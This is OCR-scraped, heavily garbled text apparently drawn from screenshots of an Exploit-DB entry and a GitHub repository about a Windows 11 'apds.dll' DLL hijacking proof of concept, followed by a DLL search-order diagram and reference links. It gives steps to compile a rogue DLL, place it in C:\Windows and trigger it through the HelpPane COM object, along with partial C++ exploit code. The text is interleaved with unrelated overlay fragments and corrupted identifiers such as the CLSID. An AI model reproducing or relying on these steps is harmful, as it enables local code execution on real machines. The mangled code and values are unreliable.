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Issues Il Pull requests ) Actions Projects Security |~ Insights

Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)

master ~ 1 I Go to file e~
& ' o fil Cod
D EDB-ID: CVE: Author: Type: Platform: Date: @ infosecninja Added BackupOperatorToolkit & Azure hacking resources D120
MOEIN SHAHABI LOCAL WINDOWS
README.md
E
EDB Verified: X Exploit: & / {} Vulnerable App: README.md
it Instructions:
. . o .

& 1. Compile dil Active Directory Kill Chain Attack & Defense

..'J 2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CECS8AE-07A1-11D9-B15E-
2 Q0ODS6BFEGEE'))"
e 4. Boom DLL Hijacked!
# ,,,,,,,,,,,,,,,,

# Title: Microsoft Code.p,
= # Date: 2023-09-01 "~ SOSSIAG

# Author: Moein Sk #;?ra%mz Dn;_e a h

# Vendor: https:// tHCLUAe <ELACONS ;36 privileges Lateral

# Version: Windows movement cycle 7 wigh '\

rivileges Lateral |
# Tested on: Windc [ ovemont crcis

// Function executed when the thread starts

Aiosansemte s extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
L MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
Description: e Ok
}
HelpPane object al
PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
Instructions: #ifdef _WING4 Summary
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress; ) ) ) . ) H
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew); This document was designed to be a useful, informational asset for those looking to understand the specific
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader; tactics, techniques, and procedures (TTPs) attackers are leveraging to compromise active directory and guidance

to mitigation, detection, and prevention. And understand Active Directory Kill Chain Attack and Modern Post
Exploitation Adversary Tradecraft Activity.

// Create some breathing room
baseAddress = baseAddress + optionalHeader->SizeOfImage;

for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
PBYTE usuable = (PBYTE)VirtualAlloc(
offset,
size,
MEM_RESERVE | MEM_COMMIT,
protection);

https://www.exploit-db.com/exploits/51733
https://github.com/infosecn1nja/AD-Attack-Defense#defense-evasion
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(%%) DLL'U"{ |*‘EI—5'4>9 #DLL Side-Loading

## Mechanism ## Search Order
T :
9 DLLs already loaded in memory
Executable ..locate lib.dll in... <Location 1> ﬁ \ 4
o
| I o Known DLLs
o
<location 2> Y
l Application's directory J(—
e ' i ) 4
) E System directory (C:\Windows\System32) J
<Location 3> | P4 (=]
Lib.dll r | Y .
\/ & 16-bit system directory (C:\Windows\System)) |
1 v |
E Windows directory (C:\Windows)\) J
B v ..
= Current directory |
= v ,
W
Directories listed in %PATH% ](7

https://www.bitdefender.com/blog/businessinsights/tech-explainer-what-is-dll-sideloading/
https://itm4n.github.io/windows-dll-hijacking-clarified/
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